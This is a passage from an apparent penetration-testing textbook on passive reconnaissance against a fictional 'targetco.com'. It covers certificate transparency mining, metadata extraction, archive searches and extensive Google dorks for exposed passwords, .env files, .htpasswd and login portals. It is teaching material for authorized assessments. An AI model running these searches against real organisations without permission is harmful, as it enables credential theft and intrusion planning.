Mechanism: Birthday attack — after ~32GB of same-key traffic, collision reveals plaintext
Impact: Session cookie exposure in long-lived HTTPS sessions
Mitigation: Disable 3DES (RC4_128, 3DES_EDE_CBC) cipher suites; limit session renegotiation

Certificate Weaknesses

Weak Key Sizes:

Algorithm	Minimum Recommended	Deprecated Below
RSA	2048 bits	1024 bits (since 2013)
ECDSA	256 bits (P-256)	Below P-256
DSA	2048 bits	1024 bits

Signature Algorithm Weaknesses:

MD5 signatures: Cryptographically broken since 2004; MD5 signed certificates should be immediately revoked
SHA-1 signatures: Theoretically broken (SHAttered attack, 2017); browsers since 2017 reject SHA-1 certificates
SHA-2 (SHA-256, SHA-384, SHA-512): Current standard, no known practical weaknesses
SHA-3: Available but rarely deployed; provides additional algorithm diversity

Certificate Validity and Management Issues:

Expired certificates: Indicates poor certificate management, potentially revealing processes for certificate deployment that can be abused
Self-signed certificates: Indicates non-standard deployment; may indicate test or internal systems exposed publicly
Wildcard certificates (*.targetco.com): A single wildcard certificate covers all subdomains; if the private key is compromised, ALL subdomains are compromised
Overly broad SAN lists: Many subdomains in SAN list reveals infrastructure (valuable for recon) and if one subjectAltName system is compromised, the certificate trust may be leveraged

Certificate Authority Trust Issues:

Unknown/private CA: Certificate signed by an internal CA — server may only be intended for internal use but is externally exposed
Distrusted CA: A CA whose root certificate has been revoked or distrusted by major browsers (e.g., Symantec CAs distrusted in 2018)

3.1.14 Finding Information from SSL Certificates

SSL/TLS certificates contain rich metadata that is extremely valuable for passive reconnaissance. Every certificate presented by a server is a public document and can be examined without any authentication.

Reading Certificate Information

Using command-line tools:

# Get certificate from server
openssl s_client -connect targetco.com:443 -servername targetco.com < /dev/null 2>/dev/null | \
openssl x509 -noout -text

# Extract just the key fields
openssl s_client -connect targetco.com:443 < /dev/null 2>/dev/null | \
openssl x509 -noout -subject -issuer -dates -fingerprint -ext subjectAltName

# Output example:
subject=CN=targetco.com, O=Target Company Inc., L=San Francisco, ST=California, C=US
issuer=CN=DigiCert TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US
notBefore=Jan  1 00:00:00 2024 GMT
notAfter=Dec 31 23:59:59 2024 GMT
SHA256 Fingerprint=AA:BB:CC:DD:EE:FF:...
X509v3 Subject Alternative Name:
    DNS:targetco.com
    DNS:www.targetco.com
    DNS:api.targetco.com
    DNS:auth.targetco.com
    DNS:mail.targetco.com
    DNS:dev.targetco.com
    DNS:staging.targetco.com
    DNS:internal-wiki.targetco.com   ← INTERNAL SYSTEM EXPOSED!
    DNS:jira.targetco.com
    DNS:confluence.targetco.com
    DNS:gitlab.targetco.com

Intelligence from this single certificate:

Organization: "Target Company Inc." — confirms organization name
Location: San Francisco, California, USA — physical location confirmation
CA: DigiCert — enterprise-grade certificate provider
Validity period: Full year certificate (common in enterprise)
All subdomains (SAN list):
- api.targetco.com — API endpoint exists
- auth.targetco.com — Authentication service (SSO? OAuth? SAML?)
- dev.targetco.com — Development environment externally exposed
- staging.targetco.com — Staging environment externally exposed
- internal-wiki.targetco.com — CRITICAL: Internal wiki publicly accessible
- jira.targetco.com — Jira project management
- confluence.targetco.com — Confluence wiki
- gitlab.targetco.com — Internal GitLab instance

This single certificate reveals an entire secondary set of attack targets.

Certificate Transparency (CT) Log Mining

Certificate Transparency is a public audit trail for SSL certificates. Every certificate issued by a publicly trusted CA is logged to append-only CT logs, and these logs are permanently accessible.

Why CT logs provide passive historical intelligence:

Every certificate ever issued for a domain is logged — even expired ones
Reveals subdomains that existed in the past (even if the DNS records are now gone)
Shows when the organization changed certificate providers
Reveals internal project names in historically issued certificates
Shows wildcard vs. specific subdomain certificate usage patterns

CT Log Tools:

# crt.sh — Primary public CT search interface
curl 'https://crt.sh/?q=%.targetco.com&output=json' 2>/dev/null | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
domains = set()
for cert in data:
    names = cert.get('name_value', '').split('\n')
    for name in names:
        name = name.strip().lstrip('*.')
        if name:
            domains.add(name)
for d in sorted(domains):
    print(d)
" | sort -u > ct_subdomains.txt

# Certspotter
curl "https://api.certspotter.com/v1/issuances?domain=targetco.com&include_subdomains=true&expand=dns_names" \
-H "Authorization: Bearer YOUR_TOKEN" | python3 -m json.tool

# Facebook CT Monitoring
curl "https://graph.facebook.com/certificates?query=targetco.com&fields=domains,issuer_name,not_before,not_after"

Analyzing CT History for Intelligence:

Historical certificates for targetco.com:

2015: *.targetco.com (wildcard) — old infrastructure approach
2018: targetco.com, www.targetco.com, api.targetco.com — legacy structure
2020: includes dev.targetco.com — development environment appears
2021: includes vpn.targetco.com — VPN service added
2022: includes staging.targetco.com, qa.targetco.com — test environments
2023: internal-wiki.targetco.com DISAPPEARS from certificate — removed? still running?
2024: current certificate as analyzed above

Insight: dev, staging, and qa environments have existed since 2020-2022 and likely 
still run legacy software from when they were first deployed.

Certificate Analysis Tools

Tool	Purpose	URL/Command
SSL Labs	Comprehensive TLS analysis with grade	https://www.ssllabs.com/ssltest/
crt.sh	CT log search	https://crt.sh
Censys	Certificate search, host analysis	https://search.censys.io
Observatory by Mozilla	TLS, headers, security analysis	https://observatory.mozilla.org
testssl.sh	Command-line TLS testing	`testssl.sh targetco.com`
cert-parse	Extract SANs from certificates	`openssl s_client ...
tlsx	Fast TLS scanning	{% raw %}`tlsx -u targetco.com -san -cn`

# tlsx — Modern, fast TLS reconnaissance
tlsx -u targetco.com -san -cn -resp -p 443,8443
tlsx -list domains.txt -san -json -o tls_results.json

3.1.15 Company Reputation and Security Posture

Assessing a target organization's public security reputation and posture provides context for the assessment and reveals historical vulnerabilities, threat actor attention, and security program maturity.

Threat Intelligence Platforms

VirusTotal

VirusTotal aggregates results from 70+ antivirus engines and URL/file scanners. It is valuable for:

# Check domain reputation
curl "https://www.virustotal.com/api/v3/domains/targetco.com" \
-H "x-apikey: YOUR_KEY"

# Check IP reputation
curl "https://www.virustotal.com/api/v3/ip_addresses/203.0.113.50" \
-H "x-apikey: YOUR_KEY"

Intelligence gathered:

Malicious URL reports (has the domain served malware?)
Phishing reports (has the domain been used in phishing?)
Malware downloads (has the domain distributed malware?)
Associated files (malware samples communicating with the IP)
Community comments (security researcher observations)

A domain with a history of malware distribution may indicate previous compromise or insider threat activity — both critical pre-assessment intelligence.

Shodan (Reputation/History):

Beyond its scanning capabilities (covered in 3.1.21), Shodan maintains historical data on every IP's service history:

What ports were open in the past
What software versions were running
When services appeared and disappeared

Censys:

Similar to Shodan, Censys regularly scans the entire Internet's IPv4 address space.

# Censys search for organization
curl "https://search.censys.io/api/v2/hosts/search" \
-H "Authorization: Basic $(echo -n 'ID:SECRET' | base64)" \
-d '{"q": "autonomous_system.organization: \"Target Company Inc.\"", "per_page": 100}'

AlienVault OTX (Open Threat Exchange):

# Check IP in threat intelligence database
curl "https://otx.alienvault.com/api/v1/indicators/IPv4/203.0.113.50/general" \
-H "X-OTX-API-KEY: YOUR_KEY"

# Check domain
curl "https://otx.alienvault.com/api/v1/indicators/domain/targetco.com/general" \
-H "X-OTX-API-KEY: YOUR_KEY"

Intelligence gathered:

Pulse reports (threat actor activity associated with the IP/domain)
Reputation score
Associated malware families
Geographic threat context

Paste Sites and Dark Web Monitoring

Pastebin and Public Paste Sites:

Attackers and insiders frequently post stolen data or tools to public paste sites:

# Search paste sites for target-related content
# Manual search:
site:pastebin.com "targetco.com"
site:paste.ee "targetco.com"
site:ghostbin.com "targetco.com"
site:hastebin.com "targetco.com"
site:controlc.com "targetco.com"

# Automated tool
pastehunter --query "targetco.com" --output /tmp/paste_results.json

Public Vulnerability Databases

CVE Correlation:

Once technology stack is identified (from job listings, SSL cert analysis, etc.), cross-reference against CVE databases:

# Search NVD for vendor vulnerabilities
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=Apache+Tomcat+9.0.41"

# Shodan CVE search
shodan search "org:\"Target Company\" vuln:cve-2021-44228"   # Log4Shell

# Search Exploit-DB for public exploits
searchsploit apache tomcat 9.0.41
searchsploit --json apache tomcat | python3 -m json.tool

Bug Bounty Program Analysis

Checking whether the target has a public bug bounty program reveals:

What scope they consider important (scope defines what they want tested)
What has already been found by bug bounty hunters
The organization's security program maturity
Types of vulnerabilities that have been paid out (suggesting they exist)

# Bug bounty programs
# HackerOne: https://hackerone.com/directory/programs
# Bugcrowd: https://bugcrowd.com/programs
# Intigriti: https://www.intigriti.com/programs

# Search for target's program
site:hackerone.com "Target Company"
site:bugcrowd.com "Target Company"

Public Disclosure Analysis:

Bug bounty platforms publish disclosed vulnerability reports after patching. Search for disclosures related to the target:

site:hackerone.com/reports "targetco.com"
site:hackerone.com/reports "Target Company"

Disclosed reports reveal:

Types of vulnerabilities that have been found historically
Specific applications and APIs that have had vulnerabilities
The organization's patch response speed
Vulnerability classes the security team may have blind spots for

3.1.16 File Metadata

Files published on an organization's website contain embedded metadata that can expose sensitive information about the organization's internal infrastructure, personnel, and software versions.

What is File Metadata?

File metadata is data embedded within a file that describes the file itself. Users creating and publishing files typically are unaware of the metadata their files contain.

Types of metadata by file format:

File Type	Metadata Format	What It Contains
PDF	XMP, Dublin Core, Application-specific	Author, software, company, internal paths, modification history
Word (.docx)	Office Open XML metadata	Author, company, last modified by, document history, template path
Excel (.xlsx)	Office Open XML metadata	Author, company, username, formula history
PowerPoint (.pptx)	Office Open XML metadata	Presentation author, company, internal links
JPEG/PNG	EXIF	GPS coordinates, camera model, date/time, software
TIFF	EXIF + IPTC	Same as JPEG plus additional photo metadata
MP4/Video	Various	Creation software, GPS, encoding software

What Metadata Reveals to Penetration Testers

From PDF and Office Documents:

PDF Metadata Analysis: TargetCo_Q3_2024_Report.pdf

Author: john.smith
Creator: Microsoft Word 2016
Producer: Adobe Acrobat Pro DC 2023.006.20360
CreationDate: 2024-09-15T14:32:11+00:00
ModDate: 2024-09-18T09:15:33+00:00
Title: Q3 2024 Financial Results
Subject: Investor Relations
Keywords: financial, quarterly, results
Company: Target Company Inc.

Template: C:\Users\j.smith\AppData\Roaming\Microsoft\Templates\TC_Corporate_Template.dotx
          ↑ Internal Windows username revealed: j.smith
          ↑ Internal path structure revealed: C:\Users\j.smith\AppData...
          ↑ Template server path may reveal file server naming convention

Last Modified By: Jane Doe
Previous Author: Robert Johnson

Comments in document: 
[Internal Note - TO BE REMOVED]: The Q3 numbers exclude the data breach costs pending legal review

Intelligence extracted:

Username: j.smith → likely email j.smith@targetco.com
Internal path reveals Windows workstation structure
Software versions: Word 2016 → potentially vulnerable to specific exploits
Adobe Acrobat version: Specific version can be checked against CVE database
Document history reveals additional employee names (Robert Johnson, Jane Doe)
The comment "TO BE REMOVED" reveals sensitive business information

From JPEG/Image EXIF Data:

# Extract EXIF from an image
exiftool office_photo.jpg

# Output:
File Name                      : office_photo.jpg
File Size                      : 4.2 MB
File Modification Date/Time    : 2024:03:15 14:30:22
Make                           : Apple
Camera Model Name              : iPhone 14 Pro
Software                       : 17.2.1
Date/Time Original             : 2024:03:15 09:15:44
GPS Latitude                   : 37° 47' 22.40" N    ← EXACT LOCATION
GPS Longitude                  : 122° 25' 10.20" W   ← EXACT LOCATION
GPS Altitude                   : 45.3 m Above Sea Level
GPS Speed                      : 0 km/h (stationary)

GPS coordinates from a photo taken inside an office building reveal:

Precise physical address of the office
Floor-level precision (altitude data)
Confirmation of office location for physical penetration testing planning

Metadata Extraction Tools

FOCA (Fingerprinting Organizations with Collected Archives)

FOCA is specifically designed for extracting and analyzing metadata from documents found during penetration testing reconnaissance. It:

Automatically finds documents published on a target website
Downloads documents from Google, Bing, and DuckDuckGo
Extracts metadata from all found documents
Aggregates usernames, software versions, email addresses, and internal paths
Builds a visual map of internal server names and usernames

Website: https://github.com/ElevenPaths/FOCA (Windows)

Process:

Enter target domain
FOCA searches Google/Bing for documents (.pdf, .docx, .xlsx, .pptx, .txt)
Downloads all found documents
Extracts metadata from each document
Displays aggregated intelligence: usernames, software, printers, servers

ExifTool

The most comprehensive metadata extraction tool — supports 200+ file formats.

# Install
sudo apt install libimage-exiftool-perl
# or
brew install exiftool

# Basic extraction
exiftool document.pdf

# Recursive extraction (all files in directory)
exiftool -r /path/to/documents/

# Extract specific fields
exiftool -Author -Creator -Software document.pdf

# Extract GPS from image and convert to decimal degrees
exiftool -GPSLatitude -GPSLongitude -GPSAltitude -n photo.jpg

# Output as JSON
exiftool -json document.pdf

# Bulk process and output CSV
exiftool -csv *.pdf > metadata_results.csv

# Remove all metadata (defensive use)
exiftool -All= -overwrite_original document.pdf

metagoofil

Searches Google for target domain documents and extracts metadata:

# Install
pip3 install metagoofil

# Basic usage
metagoofil -d targetco.com -t pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 100 -o /tmp/metagoofil_output

# Options:
# -d: target domain
# -t: file types to search
# -l: limit to N results per file type
# -o: output directory

mat2 (Metadata Anonymisation Toolkit)

# Install
pip3 install mat2

# Extract metadata
mat2 --show document.pdf

# Remove metadata (defensive)
mat2 --inplace document.pdf

The Metadata Intelligence Workflow

Professional metadata reconnaissance process:

#!/bin/bash
# Automated document metadata extraction

DOMAIN="targetco.com"
OUTPUT_DIR="/tmp/metadata_recon"
mkdir -p $OUTPUT_DIR/docs $OUTPUT_DIR/images

# Step 1: Download documents from target website
wget --recursive --level=2 --accept "*.pdf,*.docx,*.xlsx,*.pptx,*.doc,*.xls,*.ppt" \
     --directory-prefix=$OUTPUT_DIR/docs \
     "https://$DOMAIN"

# Also search Google for cached documents (use metagoofil)
metagoofil -d $DOMAIN -t pdf,docx,xlsx,pptx -l 50 -o $OUTPUT_DIR/docs

# Step 2: Extract metadata from all found documents
exiftool -csv -r $OUTPUT_DIR/docs > $OUTPUT_DIR/all_metadata.csv

# Step 3: Extract unique usernames
grep -i "author\|creator\|last.modified" $OUTPUT_DIR/all_metadata.csv | \
awk -F',' '{print $2}' | sort -u > $OUTPUT_DIR/usernames.txt

# Step 4: Extract software versions
grep -i "producer\|creator.tool\|software" $OUTPUT_DIR/all_metadata.csv | \
awk -F',' '{print $2}' | sort -u > $OUTPUT_DIR/software_versions.txt

echo "Metadata extraction complete."
echo "Usernames found: $(wc -l < $OUTPUT_DIR/usernames.txt)"
echo "Software versions: $(wc -l < $OUTPUT_DIR/software_versions.txt)"

3.1.17 Web Archiving, Caching, and Public Code Repositories

The Wayback Machine — Internet Archive

Website: https://web.archive.org/

Operated by: Internet Archive (non-profit)

Coverage: Over 800 billion web pages archived since 1996

The Wayback Machine stores historical snapshots of websites and is one of the most powerful passive reconnaissance resources because it reveals:

1. Content no longer on the live site:

Removed pages that contained sensitive information
Old employee directories (with names, phone numbers, emails)
Discontinued products or services
Former technology partners (revealing integrations)
Old contact pages with direct employee emails
Outdated documentation revealing architecture

2. Historical technology stack:

Old robots.txt files revealing admin paths
Former CMS or platform (may still be running on subdomains)
Source code comments with internal references
JavaScript files revealing API endpoints

3. Behavioral analysis:

How frequently the site was updated
When major technology migrations occurred
Timeline of organizational changes

Using the Wayback Machine:

# Wayback Machine API
# Get all snapshots for a URL
curl "https://archive.org/wayback/available?url=targetco.com"

# Get all saved URLs for a domain (CDX API)
curl "https://web.archive.org/cdx/search/cdx?url=*.targetco.com/*&output=text&fl=original&collapse=urlkey&limit=10000" \
> wayback_urls.txt

# Filter for interesting file types
grep -E "\.(php|asp|aspx|jsp|py|rb|txt|bak|sql|env|config|log)$" wayback_urls.txt

# Tool: waybackurls
waybackurls targetco.com | tee /tmp/wayback_urls.txt

# Tool: gau (getallurls) — combines Wayback, CommonCrawl, and VirusTotal
gau targetco.com | tee /tmp/gau_urls.txt

# Look for interesting paths in historical URLs
cat /tmp/wayback_urls.txt | grep -E "(admin|config|backup|test|dev|api|internal|login|password|credential)"

High-Value Wayback Machine Findings:

Historical URLs discovered for targetco.com:
https://targetco.com/admin/phpMyAdmin/  ← Database admin interface (removed from live site)
https://targetco.com/backup/            ← Backup directory (no longer live)
https://targetco.com/wp-admin/          ← WordPress admin (site no longer uses WP but old files may exist)
https://targetco.com/test/              ← Test environment once publicly accessible
https://targetco.com/api/v1/            ← Old API version (may still be active but undocumented)

These historical paths should be tested against the live site — web servers frequently retain files and directories even when they are removed from the primary navigation.

Google Cache

Google maintains cached copies of indexed web pages. While less comprehensive than the Wayback Machine, Google Cache is more recent.

# Access Google's cached version of a page
cache:targetco.com/employees
cache:www.targetco.com/contact

# Search for cached version of a specific page
# site:google.com/search?q=cache:targetco.com/page

Common Crawl

Common Crawl maintains petabyte-scale archives of web pages and makes them freely available:

# Search Common Crawl index
curl "https://index.commoncrawl.org/CC-MAIN-2024-04-index?url=*.targetco.com/*&output=json" | \
head -100 | python3 -m json.tool

Public Code Repositories — Beyond GitHub

GitHub (Primary)

Largest code repository hosting platform
High probability of finding target-related code
Covered comprehensively in Section 3.1.11

GitLab (Public Instances)

site:gitlab.com "targetco"
site:gitlab.com "targetco.com"

Bitbucket

site:bitbucket.org "targetco"

SourceForge
Older open source projects may be hosted here:

site:sourceforge.net "targetco"

npm (Node Package Manager)

JavaScript developers frequently publish packages to npm that contain internal organizational references:

# Search npm for organization-related packages
curl "https://registry.npmjs.org/-/v1/search?text=targetco&size=50"

# Examine package.json files in found packages for:
# - Internal API URLs
# - Organization names
# - Developer email addresses
# - Internal tool dependencies

PyPI (Python Package Index)

# Search PyPI for organization-related packages
curl "https://pypi.org/pypi/targetco-sdk/json"

Docker Hub

Docker images often contain:

Application configurations
Environment variable templates
Internal tool references
Default credentials (a significant security risk)

# Search Docker Hub for organization images
curl "https://hub.docker.com/v2/search/repositories/?query=targetco"

# Pull and examine layers of a public image (active — use with caution)
docker pull targetco/public-app
docker history targetco/public-app
docker inspect targetco/public-app

robots.txt and sitemap.xml

These files are designed to guide search engine crawlers but inadvertently reveal application structure.

robots.txt:

curl https://targetco.com/robots.txt

# Example output:
User-agent: *
Disallow: /admin/
Disallow: /internal/
Disallow: /api/v2/
Disallow: /staging/
Disallow: /backup/
Disallow: /config/
Disallow: /phpMyAdmin/
Disallow: /wp-admin/
Sitemap: https://www.targetco.com/sitemap.xml

Every Disallow entry is a path the organization does NOT want crawled — which is exactly the list of paths most interesting to a penetration tester.

sitemap.xml:

curl https://targetco.com/sitemap.xml

# May reveal:
# - Complete URL structure of the website
# - API documentation pages
# - Admin functionality pages
# - Application module names

3.1.18 Finding Out About the Organization — Aggregation Techniques

At this stage of passive reconnaissance, the goal is to aggregate all collected intelligence into a coherent, actionable intelligence picture. This synthesis phase is what separates basic reconnaissance from professional intelligence analysis.

Intelligence Aggregation Framework

The Target Intelligence Report Structure:

=== PASSIVE RECONNAISSANCE REPORT: TARGET COMPANY INC. ===
Engagement: [Engagement Reference]
Date: [Date]
Analyst: [Name]
Classification: CONFIDENTIAL — Client Eyes Only

1. ORGANIZATIONAL OVERVIEW
   1.1 Corporate Structure
   1.2 Key Personnel
   1.3 Physical Locations
   1.4 Business Lines and Products

2. TECHNICAL INFRASTRUCTURE
   2.1 Domain Portfolio
   2.2 IP Address Space and ASN
   2.3 External Facing Services
   2.4 Cloud Services Identified
   2.5 Technology Stack

3. EMAIL AND COMMUNICATION INFRASTRUCTURE
   3.1 Email Provider
   3.2 Email Security Posture (SPF/DKIM/DMARC)
   3.3 Confirmed Email Addresses

4. PERSONNEL INTELLIGENCE
   4.1 Key Technical Personnel
   4.2 Security Team Members
   4.3 Email Format
   4.4 Social Engineering Attack Vectors

5. EXPOSURE INTELLIGENCE
   5.1 Breach History
   5.2 Leaked Credentials
   5.3 Reputation Assessment
   5.4 Dark Web Presence

6. HISTORICAL INTELLIGENCE
   6.1 Legacy Systems and Paths
   6.2 Technology Transitions
   6.3 Historical IP Addresses

7. VULNERABILITY INDICATORS
   7.1 SSL/TLS Weaknesses
   7.2 Subdomain Takeover Candidates
   7.3 Shadow IT Identified
   7.4 Unmanaged Assets

8. ATTACK SURFACE MAP
   8.1 Priority Targets (High)
   8.2 Priority Targets (Medium)
   8.3 Social Engineering Targets

Organizational Intelligence Sources

Annual Reports and Investor Relations:

Public companies publish annual reports (10-K in the US) that contain:

Detailed business unit descriptions
Risk factors (explicitly naming IT dependencies and security risks)
Employee count by region
Subsidiary and acquisition information
IT spending disclosures
Named executive officers

# SEC EDGAR for US public company filings
curl "https://efts.sec.gov/LATEST/search-index?q=%22Target+Company%22&dateRange=custom&startdt=2023-01-01&enddt=2024-12-31&forms=10-K"

Press Releases and News:

# Search news archives
site:prnewswire.com "Target Company"
site:businesswire.com "Target Company"
site:globenewswire.com "Target Company"

# Google News
site:news.google.com "Target Company" technology

Conference Presentations and Academic Papers:

Employees frequently present at conferences (RSA, DEF CON, Black Hat, AWS re:Invent) revealing:

Specific technologies and architectures
Security challenges and solutions implemented
Vendor relationships

# Search for conference presentations
site:slideshare.net "Target Company" 2023
site:speakerdeck.com "Target Company"
"Target Company" site:youtube.com conference presentation 2024

3.1.19 Advanced Searches — Google Dorking and Beyond

Google Dorking (also known as Google Hacking) uses advanced Google search operators to find information that is technically public but not easily discovered through normal search.

Google Search Operators — Complete Reference

Operator	Syntax	Example	Use Case
`site:`	`site:domain.com`	`site:targetco.com filetype:pdf`	Search within specific domain
`filetype:`	`filetype:ext`	`site:targetco.com filetype:xlsx`	Find specific file types
`intitle:`	`intitle:keyword`	`intitle:"index of" site:targetco.com`	Pages with keyword in title
`inurl:`	`inurl:keyword`	`inurl:admin site:targetco.com`	Pages with keyword in URL
`intext:`	`intext:keyword`	`intext:"confidential" site:targetco.com`	Pages with keyword in body
`cache:`	`cache:url`	`cache:targetco.com/employees`	Google's cached version
`link:`	`link:url`	`link:targetco.com`	Pages linking to target
`related:`	`related:url`	`related:targetco.com`	Websites similar to target
`"..."`	`"exact phrase"`	`"Target Company" "database password"`	Exact phrase match
`-`	`-keyword`	`site:targetco.com -www`	Exclude keyword
`*`	`*`	`"targetco * password"`	Wildcard
`OR` / `\	`	`term1 OR term2`	`"targetco.com" password OR credential`
`AND`	`term1 AND term2`	`site:targetco.com AND intext:password`	Boolean AND
`before:`	`before:YYYY-MM-DD`	`site:targetco.com before:2020-01-01`	Results before date
`after:`	`after:YYYY-MM-DD`	`site:targetco.com after:2023-01-01`	Results after date
`numrange:`	`numrange:N-M`	`targetco.com numrange:1-65535`	Numeric range

The Google Hacking Database (GHDB)

The GHDB, maintained by Exploit-DB, contains thousands of tested Google dorks organized by category. Every serious penetration tester references the GHDB regularly.

Website: https://www.exploit-db.com/google-hacking-database

GHDB Categories:

Footholds (login portals, admin interfaces)
Files Containing Usernames
Sensitive Directories
Web Server Detection
Vulnerable Files
Vulnerable Servers
Error Messages
Files Containing Juicy Info
Files Containing Passwords
Sensitive Online Shopping Info
Network or Vulnerability Data
Pages Containing Login Portals
Various Online Devices

High-Value Google Dorks for Penetration Testing

Finding Login Portals:

site:targetco.com intitle:"login"
site:targetco.com intitle:"sign in"
site:targetco.com inurl:"/login"
site:targetco.com inurl:"/admin"
site:targetco.com inurl:"/portal"
site:targetco.com inurl:"/wp-admin"
site:targetco.com inurl:"/cpanel"
site:targetco.com inurl:"/webmail"
site:targetco.com inurl:"/owa"   # Outlook Web Access
site:targetco.com inurl:"/citrix"
site:targetco.com inurl:"/vpn"
site:targetco.com inurl:"/remote"
site:targetco.com inurl:"/sslvpn"

Finding Exposed Files:

site:targetco.com filetype:pdf
site:targetco.com filetype:docx
site:targetco.com filetype:xlsx "confidential"
site:targetco.com filetype:txt "password"
site:targetco.com filetype:log
site:targetco.com filetype:bak   # Backup files
site:targetco.com filetype:sql   # Database dumps
site:targetco.com filetype:conf  # Configuration files
site:targetco.com filetype:config
site:targetco.com filetype:env   # Environment files
site:targetco.com filetype:xml inurl:config
site:targetco.com filetype:yml   # YAML config files
site:targetco.com filetype:json  # JSON config files (often API keys)
site:targetco.com filetype:ini   # Windows config files
site:targetco.com filetype:php inurl:config

Finding Sensitive Information:

site:targetco.com "index of /"
site:targetco.com "parent directory"
site:targetco.com intitle:"index of" passwd
site:targetco.com intitle:"index of" ".htpasswd"
site:targetco.com "powered by" inurl:admin
site:targetco.com intext:"sql syntax near"   # SQL error messages
site:targetco.com intext:"MySQL server version"  # MySQL errors
site:targetco.com intext:"Warning: mysql_fetch_array()"  # PHP MySQL errors
site:targetco.com intext:"ORA-00933"   # Oracle errors
site:targetco.com intext:"Traceback (most recent call last)"  # Python errors
site:targetco.com "Exception Details" "Stack Trace"  # .NET exceptions
site:targetco.com "JDBC" "SQLException"   # Java database errors

Finding Exposed Credentials:

site:targetco.com "password" filetype:txt
site:targetco.com "pwd=" filetype:txt
"@targetco.com" "password"   # Searching all of web for org email + password
"@targetco.com" filetype:xls "password"  # Spreadsheets with passwords
site:github.com "targetco.com" "password"
site:github.com "targetco.com" "api_key"
site:github.com "targetco.com" "secret"
site:pastebin.com "targetco.com"

Finding Network Equipment and Infrastructure:

site:targetco.com intitle:"router"
site:targetco.com intitle:"cisco" "login"
site:targetco.com intitle:"FortiGate"
site:targetco.com intitle:"NetScreen"
site:targetco.com intitle:"SonicWALL"
site:targetco.com intitle:"pfSense"
site:targetco.com "Cisco Systems" intitle:"login"

Finding Exposed Development Environments:

site:targetco.com inurl:dev
site:targetco.com inurl:staging
site:targetco.com inurl:test
site:targetco.com inurl:qa
site:targetco.com inurl:uat   # User Acceptance Testing
site:targetco.com inurl:demo
site:targetco.com inurl:beta

Finding Remote Access:

site:targetco.com inurl:"/remote" intitle:"Remote Desktop"
site:targetco.com intitle:"Citrix Gateway"
site:targetco.com intitle:"SSL VPN"
site:targetco.com inurl:"/RDWeb"  # Remote Desktop Web Access
site:targetco.com intitle:"VMware Horizon"  # VMware VDI

Beyond Google — Other Search Engine Dorking

Bing Dorks:

Bing sometimes indexes content that Google does not, particularly from newer or smaller sites.

site:targetco.com filetype:pdf
ip:203.0.113.50   # Bing: all pages on this IP (no Google equivalent)

DuckDuckGo:

site:targetco.com inurl:admin
# DuckDuckGo also has a Bing-powered index with slightly different coverage

Yandex (for Russian and Eastern European targets):

site:targetco.ru
host:targetco.ru

3.1.20 Open-Source Intelligence (OSINT) Gathering — Frameworks and Automation

This section consolidates the methodology, frameworks, and advanced automation tools used by senior penetration testers and intelligence analysts for comprehensive OSINT campaigns.

The OSINT Framework in Practice

Website: https://osintframework.com/

The OSINT Framework is not just a list of tools — it is a structured intelligence methodology translated into an interactive reference. Professional use of OSINT Framework involves:

Step 1: Identify starting data points

Organization name
Domain name
IP address
Email address
Employee names
Phone numbers

Step 2: Navigate to appropriate branch
For each data point, navigate to the corresponding OSINT Framework branch and systematically execute relevant tools.

Step 3: Document and pivot
Record all findings. Each new piece of intelligence becomes a new starting point for additional queries.

Complete OSINT Framework Branches Relevant to Penetration Testing:

OSINT Framework
├── Domain Name
│   ├── WHOIS Records → DomainTools, ViewDNS
│   ├── Subdomains → crt.sh, Subfinder, Amass
│   ├── DNS Records → SecurityTrails, DNSdumpster
│   ├── Website → WaybackMachine, BuiltWith, Wappalyzer
│   └── Email Addresses → Hunter.io, theHarvester
│
├── Email Address
│   ├── Email Reputation → MXToolbox
│   ├── Breach Data → HaveIBeenPwned, Dehashed
│   ├── Email Headers → MXHeaders
│   └── Social Networks linked to email
│
├── IP Address
│   ├── Geolocation → MaxMind, ip-api.com
│   ├── Hosting Provider → ARIN WHOIS
│   ├── Open Ports → Shodan, Censys
│   ├── Reverse DNS → ViewDNS
│   └── Blacklists → MXToolbox Blacklist Check
│
├── Username
│   ├── Social Networks → Sherlock, WhatsMyName
│   ├── Forum Search
│   └── Gaming Profiles
│
├── Person
│   ├── Public Records → Spokeo, Intelius
│   ├── Social Networks → LinkedIn, Twitter, Facebook
│   ├── Email Search → Hunter.io
│   ├── Photo Search → Google Images
│   └── Phone Numbers → Twilio Lookup
│
└── Organization
    ├── Official Records → LinkedIn Company Page, SEC EDGAR
    ├── Job Listings → LinkedIn Jobs, Indeed, Glassdoor
    ├── Financials → OpenCorporates, Companies House
    ├── Employees → LinkedIn Employee Search
    └── Technology → BuiltWith, Wappalyzer, job listings

OSINT Combine Advanced Workflows

Website: https://www.osintcombine.com/

Key OSINT Combine tools for professional use:

1. Social Media Search (Cross-Platform Username Investigation)

When a username or email is discovered, OSINT Combine provides an efficient cross-platform search capability without requiring separate manual searches on each platform.

2. Reverse Image Search

Critical for verifying identities and finding additional accounts associated with a face:

Confirm that a LinkedIn profile photo matches other profiles (verifying identity)
Find additional social media accounts using the same profile photo
Detect fake LinkedIn profiles (using stock photos)

3. Map Searching — Geolocation OSINT

Tools for extracting and verifying geographic information from images and social media posts:

Extract GPS coordinates from image EXIF data
Cross-reference GPS coordinates with satellite imagery
Verify office building locations for physical penetration testing

4. Domain Investigation Batch Processing

When multiple domains are discovered (from CT logs, WHOIS, job listings), OSINT Combine enables bulk processing.

SMART — Advanced Usage

Website: https://smart.myosint.training/

Professional SMART workflows:

When encountering an unusual intelligence requirement (e.g., "find corporate registration records for a subsidiary in Singapore"), SMART quickly surfaces specialized databases and tools that would otherwise require extensive research:

SMART Search: "corporate registry singapore"
Results: 
- ACRA (Accounting and Corporate Regulatory Authority of Singapore)
- Singapore Business Database
- ASEAN OSINT resources
- Regional investigative journalism databases

This makes SMART particularly valuable for:

Country-specific reconnaissance
Specialized industry databases (maritime, aviation, telecommunications)
Non-English language resources

SpiderFoot HX — Cloud-Automated OSINT

Website: https://www.spiderfoot.net/hx/

SpiderFoot HX is the commercial, cloud-hosted version of SpiderFoot. Advantages over self-hosted:

No infrastructure to manage
Pre-configured API keys for major data sources
Team collaboration features
Automated scheduled scans for continuous monitoring
Historical scan comparison (track changes in target's attack surface)

Use case: Many professional penetration testing firms run SpiderFoot HX as a continuous monitoring service for clients between annual penetration tests, alerting on new assets, subdomain additions, and credential exposures.

Building Automated OSINT Pipelines

Senior penetration testers build automated pipelines that chain multiple tools together:

